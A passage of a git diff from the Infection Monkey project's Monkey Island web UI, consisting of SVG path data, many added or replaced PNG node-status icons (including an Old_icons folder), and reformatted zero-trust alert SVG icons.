a1.125,1.125,0,0,0,.274-.719,1.145,1.145,0,1,0-2.29,0,1.125,1.125,0,0,0,.274.719h-.02a1.849,1.849,0,0,1,.376,1.517h.011a.5.5,0,0,0-.016.078h0a.653.653,0,0,1-.566.619h0l-.061.011c.109-.6.035-1.179-.111-1.206s-.16.433-.575.932a2.642,2.642,0,0,1-1.008.7c-.066.024-.132.048-.2.074-.045.018-.091.031-.135.049l0,0a.653.653,0,0,1-.8-.253l0,0a.509.509,0,0,0-.053-.06l.009-.005a1.85,1.85,0,0,1-.433-1.5l-.018.01a1.125,1.125,0,0,0-.122-.76A1.145,1.145,0,1,0,4.661,3.213a1.125,1.125,0,0,0,.6.486l-.018.01A1.849,1.849,0,0,1,6.325,4.835l.009-.005a.491.491,0,0,0,.026.076l0,0a.653.653,0,0,1-.181.819l0,0c-.038.029-.073.062-.11.092Q5.958,5.9,5.851,6c-.061.052-.123.1-.182.155s-.136.13-.2.2-.128.126-.191.191-.133.134-.2.2-.1.122-.155.182-.121.144-.18.218c-.03.037-.063.072-.092.11l0,0a.653.653,0,0,1-.819.181l0,0a.507.507,0,0,0-.076-.026L3.762,7.4A1.849,1.849,0,0,1,2.635,6.314l-.01.018a1.124,1.124,0,0,0-.486-.6A1.145,1.145,0,0,0,.995,7.717a1.125,1.125,0,0,0,.76.122l-.01.018a1.849,1.849,0,0,1,1.5.433l.005-.009a.5.5,0,0,0,.06.053l0,0a.653.653,0,0,1,.253.8l0,0c-.018.044-.032.091-.049.135s-.022.06-.034.09A2.984,2.984,0,0,0,3,9.309a3,3,0,0,0,0,6,2.984,2.984,0,0,0,.485-.049c.011.03.022.06.034.09s.031.091.049.135l0,0a.653.653,0,0,1-.253.8l0,0a.5.5,0,0,0-.06.053l-.005-.009a1.85,1.85,0,0,1-1.5.433l.01.018a1.125,1.125,0,0,0-.76.122A1.145,1.145,0,0,0,2.14,18.879a1.124,1.124,0,0,0,.486-.6l.01.018a1.849,1.849,0,0,1,1.126-1.084l-.005-.009a.5.5,0,0,0,.076-.025l0,0a.653.653,0,0,1,.819.181l0,0c.029.038.062.073.092.11q.088.111.18.218c.052.061.1.123.155.182s.13.136.2.2.126.128.191.191.134.133.2.2.122.1.182.155.144.121.218.18c.038.03.073.063.111.092l0,0a.653.653,0,0,1,.181.819l0,0a.493.493,0,0,0-.026.076l-.009-.005a1.849,1.849,0,0,1-1.084,1.126l.018.01a1.125,1.125,0,0,0-.6.486,1.145,1.145,0,0,0,1.983,1.145,1.125,1.125,0,0,0,.122-.76l.018.01a1.85,1.85,0,0,1,.433-1.5l-.009-.005a.5.5,0,0,0,.053-.06l0,0a.653.653,0,0,1,.8-.253l0,0c.044.018.091.032.135.05q.131.052.264.1c.075.027.15.056.226.081s.181.053.272.079.173.048.26.07.183.048.275.068.157.029.235.043.186.033.279.047c.047.007.094.018.141.025h-.005a.653.653,0,0,1,.566.619h0a.5.5,0,0,0,.016.078h-.011a1.849,1.849,0,0,1-.376,1.517h.02a1.125,1.125,0,0,0-.274.719,1.145,1.145,0,1,0,2.29,0,1.125,1.125,0,0,0-.274-.719h.02a1.849,1.849,0,0,1-.376-1.517h-.011a.5.5,0,0,0,.016-.078h0a.653.653,0,0,1,.566-.619h-.005c.047-.006.094-.018.141-.025q.14-.021.279-.047c.078-.014.158-.026.235-.043s.183-.045.275-.068.174-.045.26-.07.182-.05.272-.079.15-.054.226-.081.177-.064.264-.1c.045-.018.091-.031.135-.05l0,0a.653.653,0,0,1,.8.253l0,0a.5.5,0,0,0,.053.06l-.009.005a1.85,1.85,0,0,1,.433,1.5l.018-.01a1.125,1.125,0,0,0,.122.76A1.145,1.145,0,0,0,17.806,21.4a1.125,1.125,0,0,0-.6-.486l.018-.01a1.849,1.849,0,0,1-1.084-1.126l-.009.005a.493.493,0,0,0-.026-.076l0,0a.653.653,0,0,1,.181-.819l0,0c.038-.029.073-.063.111-.092q.111-.088.218-.18c.061-.052.123-.1.182-.155s.136-.13.2-.2.128-.126.191-.191.133-.134.2-.2.1-.122.155-.182.121-.144.18-.218c.03-.037.063-.072.092-.11l0,0a.653.653,0,0,1,.819-.181l0,0a.5.5,0,0,0,.076.025l-.005.009A1.849,1.849,0,0,1,19.832,18.3l.01-.018a1.124,1.124,0,0,0,.486.6A1.145,1.145,0,0,0,21.473,16.9ZM19.53,12.219c0-.108-.006-.216-.011-.325s-.012-.206-.021-.309c-.006-.065-.01-.131-.017-.2-.011-.1-.028-.206-.043-.309s-.029-.186-.047-.279l-.009-.051c.03,0,.058-.009.089-.009a1.567,1.567,0,0,1,0,3.133c-.03,0-.059-.007-.089-.009l.009-.051q.026-.139.047-.279c.015-.1.032-.206.043-.309.007-.065.011-.131.017-.2.009-.1.016-.206.021-.309s.01-.217.011-.325c0-.03,0-.058,0-.088S19.53,12.249,19.53,12.219ZM20.707,6.39a.388.388,0,1,1-.142.53A.388.388,0,0,1,20.707,6.39ZM16.479,2.446a.388.388,0,1,1,.142.53A.388.388,0,0,1,16.479,2.446Zm-10.633.53a.388.388,0,1,1,.142-.53A.388.388,0,0,1,5.847,2.976ZM1.9,6.92a.388.388,0,1,1-.142-.53A.388.388,0,0,1,1.9,6.92Zm1.035,5.475c0,.108.006.216.011.325s.012.206.021.309c.006.065.01.131.017.2.011.1.028.206.043.309s.029.186.047.279l.009.051c-.03,0-.058.009-.089.009A1.567,1.567,0,1,1,3,10.74c.03,0,.059.007.089.009l-.009.051q-.026.139-.047.279c-.015.1-.032.206-.043.309-.007.065-.011.131-.017.2-.009.1-.016.206-.021.309s-.01.217-.011.325c0,.03,0,.058,0,.088S2.938,12.365,2.938,12.395ZM1.761,18.224a.388.388,0,1,1,.142-.53A.388.388,0,0,1,1.761,18.224Zm4.228,3.944a.388.388,0,1,1-.142-.53A.388.388,0,0,1,5.989,22.167Zm10.633-.53a.388.388,0,1,1-.142.53A.388.388,0,0,1,16.621,21.638ZM11.234.757a.388.388,0,1,1-.388.388A.388.388,0,0,1,11.234.757Zm0,23.1a.388.388,0,1,1,.388-.388A.388.388,0,0,1,11.234,23.857Zm0-4.447a3.4,3.4,0,0,1-3.4-3.4,3.079,3.079,0,0,1,.07-.68,4.943,4.943,0,0,0,6.66,0,3.079,3.079,0,0,1,.07.68A3.4,3.4,0,0,1,11.234,19.41Zm3.137-4.7,0,.006a4.372,4.372,0,0,1-6.28,0l0-.006a3,3,0,1,1,3.137-4.181,3,3,0,1,1,3.137,4.181Zm6.865,3.368a.388.388,0,1,1-.142-.53A.388.388,0,0,1,21.236,18.082Z"/> + <path class="cls-1" + d="M8.49,9.636A2.112,2.112,0,1,0,10.6,11.748,2.112,2.112,0,0,0,8.49,9.636Zm0,2.793a.681.681,0,1,1,.681-.681A.682.682,0,0,1,8.49,12.43Z"/> + <path class="cls-1" + d="M13.978,9.636a2.112,2.112,0,1,0,2.112,2.112A2.112,2.112,0,0,0,13.978,9.636Zm0,2.793a.681.681,0,1,1,.681-.681A.682.682,0,0,1,13.978,12.43Z"/> </g> </svg> diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_linux.png new file mode 100644 index 000000000..5c00186c5 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_unknown.png new file mode 100644 index 000000000..3b1e9b638 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_unknown.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_windows.png new file mode 100644 index 000000000..08f8f37f1 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/clean_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_linux.png new file mode 100644 index 000000000..e95dfdd71 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_windows.png new file mode 100644 index 000000000..75350fb73 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/exploited_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island.png new file mode 100644 index 000000000..68d627b32 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux.png new file mode 100644 index 000000000..f98b5ebbd Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_running.png new file mode 100644 index 000000000..62fabc360 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_starting.png new file mode 100644 index 000000000..cd53d7cb7 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows.png new file mode 100644 index 000000000..79cb177e1 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_running.png new file mode 100644 index 000000000..525f671a1 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_starting.png new file mode 100644 index 000000000..67129b5cc Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/island_monkey_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux.png new file mode 100644 index 000000000..fedb1e426 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux_running.png new file mode 100644 index 000000000..d57728276 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows.png new file mode 100644 index 000000000..950c10fb6 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows_running.png new file mode 100644 index 000000000..8eef19528 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/manual_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux.png new file mode 100644 index 000000000..dad9c2b01 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_old.png new file mode 100644 index 000000000..d582c8ecf Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_old.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_running.png new file mode 100644 index 000000000..21cded913 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_starting.png new file mode 100644 index 000000000..a7aa12793 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows.png new file mode 100644 index 000000000..669630d21 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_old.png new file mode 100644 index 000000000..58de7ff52 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_old.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_running.png new file mode 100644 index 000000000..6c6daf672 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_starting.png new file mode 100644 index 000000000..1545280b4 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/monkey_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_linux.png new file mode 100644 index 000000000..5c00186c5 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_unknown.png new file mode 100644 index 000000000..3b1e9b638 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_clean_unknown.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_exploited_linux.png new file mode 100644 index 000000000..e95dfdd71 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_exploited_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island.png new file mode 100644 index 000000000..68d627b32 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows.png new file mode 100644 index 000000000..79cb177e1 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows_running.png new file mode 100644 index 000000000..525f671a1 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_island_monkey_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux.png new file mode 100644 index 000000000..dad9c2b01 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_running.png new file mode 100644 index 000000000..21cded913 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_starting.png new file mode 100644 index 000000000..a7aa12793 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/Old_icons/old_monkey_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png index 5c00186c5..b45bcfd38 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png and b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png index 3b1e9b638..53d0949ab 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png and b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png index 08f8f37f1..1d8b93c1f 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png and b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png index e95dfdd71..34ed99ce8 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png and b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png index 75350fb73..a9694fcf0 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png and b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/island.png index 68d627b32..b703f1eca 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island.png and b/monkey/monkey_island/cc/ui/src/images/nodes/island.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux.png new file mode 100644 index 000000000..6bd690ce9 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_running.png new file mode 100644 index 000000000..5356a1652 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png new file mode 100644 index 000000000..aebe6f962 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows.png new file mode 100644 index 000000000..90d2c8f52 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_running.png new file mode 100644 index 000000000..526bb688c Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png new file mode 100644 index 000000000..c1f9a30bd Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png index f98b5ebbd..a38c7c7f6 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png index 62fabc360..e7e7caf25 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png new file mode 100644 index 000000000..7654982f3 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png index 79cb177e1..ed750e0a6 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png index 525f671a1..2c30b9058 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png new file mode 100644 index 000000000..c6d2ace5a Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png index fedb1e426..4734019b2 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png index d57728276..42eca8aca 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png new file mode 100644 index 000000000..882acae59 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png index 950c10fb6..015bcd9c5 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png index 8eef19528..d03546c07 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png new file mode 100644 index 000000000..ca3c553ae Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png index dad9c2b01..3c24e1f39 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png new file mode 100644 index 000000000..1f6da00f2 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png index 21cded913..1b67bebc6 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png new file mode 100644 index 000000000..1991dd9b0 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png index 669630d21..e4eb24358 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png new file mode 100644 index 000000000..27b15fef0 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png index 6c6daf672..caf8ce578 100644 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png new file mode 100644 index 000000000..0cea18d57 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg index 507541be4..341223590 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -1 +1,13 @@ -<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-machine-icon</title><g id="Layer_2" data-name="Layer 2"><g id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><rect x="10" y="14" width="24" height="16.20144" style="fill:none;stroke:#333;stroke-miterlimit:10;stroke-width:1.9409949287049788px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/><rect x="18" y="31" width="8" height="3" style="fill:#333"/></g></g></svg> \ No newline at end of file +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"> + <title>im-alert-machine-icon</title> + <g id="Layer_2" data-name="Layer 2"> + <g id="originals"> + <circle cx="22" cy="22" r="22" style="fill:#fc2"/> + <rect x="10" y="14" width="24" height="16.20144" + style="fill:none;stroke:#333;stroke-miterlimit:10;stroke-width:1.9409949287049788px"/> + <rect x="21" y="17" width="2" height="6" style="fill:#333"/> + <rect x="21" y="25" width="2" height="2" style="fill:#333"/> + <rect x="18" y="31" width="8" height="3" style="fill:#333"/> + </g> + </g> +</svg> diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg index 50dcc6726..0951d7ae2 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -1 +1,23 @@ -<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-network-icon</title><g id="Layer_2" data-name="Layer 2"><g 